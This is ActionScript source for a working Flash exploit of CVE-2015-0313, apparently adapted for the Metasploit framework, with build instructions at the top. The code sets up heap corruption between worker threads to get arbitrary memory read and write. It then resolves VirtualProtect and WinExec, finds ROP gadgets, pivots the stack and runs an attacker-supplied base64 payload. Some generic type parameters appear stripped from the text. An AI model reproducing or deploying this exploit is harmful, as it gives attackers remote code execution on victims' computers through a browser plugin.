// Build how to: // 1. Download the AIRSDK, and use its compiler. // 2. Be support to support 16.0 as target-player (flex-config.xml). // 3. Download the Flex SDK (4.6) // 4. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) // (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) // 5. Build with: mxmlc -o msf.swf Main.as // Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/ // Modified to be used from msf package { import flash.display.Sprite import flash.display.LoaderInfo import flash.events.Event import flash.utils.ByteArray import flash.system.Worker import flash.system.WorkerDomain import flash.system.MessageChannel import flash.system.ApplicationDomain import avm2.intrinsics.memory.casi32 import mx.utils.Base64Decoder public class Main extends Sprite { private var ov:Vector. = new Vector.(25600) private var uv:Vector. = new Vector. private var ba:ByteArray = new ByteArray() private var worker:Worker private var mc:MessageChannel private var b64:Base64Decoder = new Base64Decoder() private var payload:String = "" public function Main() { if (Worker.current.isPrimordial) mainThread() else workerThread() } private function mainThread():void { b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) payload = b64.toByteArray().toString() ba.length = 0x1000 ba.shareable = true for (var i:uint = 0; i < ov.length; i++) { ov[i] = new Vector.(1014) ov[i][0] = ba ov[i][1] = this } for (i = 0; i < ov.length; i += 2) delete(ov[i]) worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) mc = worker.createMessageChannel(Worker.current) mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage) worker.setSharedProperty("mc", mc) worker.setSharedProperty("ba", ba) ApplicationDomain.currentDomain.domainMemory = ba worker.start() } private function workerThread():void { var ba:ByteArray = Worker.current.getSharedProperty("ba") var mc:MessageChannel = Worker.current.getSharedProperty("mc") ba.clear() ov[0] = new Vector.(1022) mc.send("") while (mc.messageAvailable); ov[0][0] = ov[0][0x403] - 0x18 - 0x1000 ba.length = 0x500000 var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000 var main:uint = ov[0][0x409] - 1 var vtable:uint = vector_read(main) vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8) vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff) mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString()) } private function onMessage(e:Event):void { casi32(0, 1022, 0xFFFFFFFF) if (ba.length != 0xffffffff) mc.receive() else { ba.endian = "littleEndian" var data:Array = (mc.receive() as String).split("/") byte_write(parseInt(data[0])) var buffer:uint = parseInt(data[1]) as uint var main:uint = parseInt(data[2]) as uint var vtable:uint = parseInt(data[3]) as uint var flash:uint = base(vtable) var ieshims:uint = module("kernel32.dll", flash) var kernel32:uint = module("kernel32.dll", ieshims) var virtualprotect:uint = procedure("VirtualProtect", kernel32) var winexec:uint = procedure("WinExec", kernel32) var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) //CoE byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main byte_write(0, "\x89\x03", false) // mov [ebx], eax byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret byte_write(buffer+0x200, payload); byte_write(buffer + 0x20070, xchgeaxespret) byte_write(buffer + 0x20000, xchgeaxesiret) byte_write(0, virtualprotect) // VirtualProtect byte_write(0, winexec) byte_write(0, buffer + 0x30000) byte_write(0, 0x1000) byte_write(0, 0x40) byte_write(0, buffer + 0x100) // WinExec byte_write(0, buffer + 0x30000) byte_write(0, buffer + 0x200) byte_write(0) byte_write(main, buffer + 0x20000) toString() } } private function vector_write(addr:uint, value:uint = 0):void { addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value } private function vector_read(addr:uint):uint { return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] } private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void { if (addr) ba.position = addr if (value is String) { for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) if (zero) ba.writeByte(0) } else ba.writeUnsignedInt(value) } private function byte_read(addr:uint, type:String = "dword"):uint { ba.position = addr switch(type) { case "dword": return ba.readUnsignedInt() case "word": return ba.readUnsignedShort() case "byte": return ba.readUnsignedByte() } return 0 } private function base(addr:uint):uint { addr &= 0xffff0000 while (true) { if (byte_read(addr) == 0x00905a4d) return addr addr -= 0x10000 } return 0 } private function module(name:String, addr:uint):uint { var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1 while (true) { var entry:uint = byte_read(iat + (++i) * 0x14 + 12) if (!entry) throw new Error("FAIL!"); ba.position = addr + entry if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break } return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))) } private function procedure(name:String, addr:uint):uint { var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) var numberOfNames:uint = byte_read(eat + 0x18) var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) var addressOfNames:uint = addr + byte_read(eat + 0x20) var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) for (var i:uint = 0; ; i++) { var entry:uint = byte_read(addressOfNames + i * 4) ba.position = addr + entry if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break } return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) } private function gadget(gadget:String, hint:uint, addr:uint):uint { var find:uint = 0 var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) var value:uint = parseInt(gadget, 16) for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break return addr + i } } }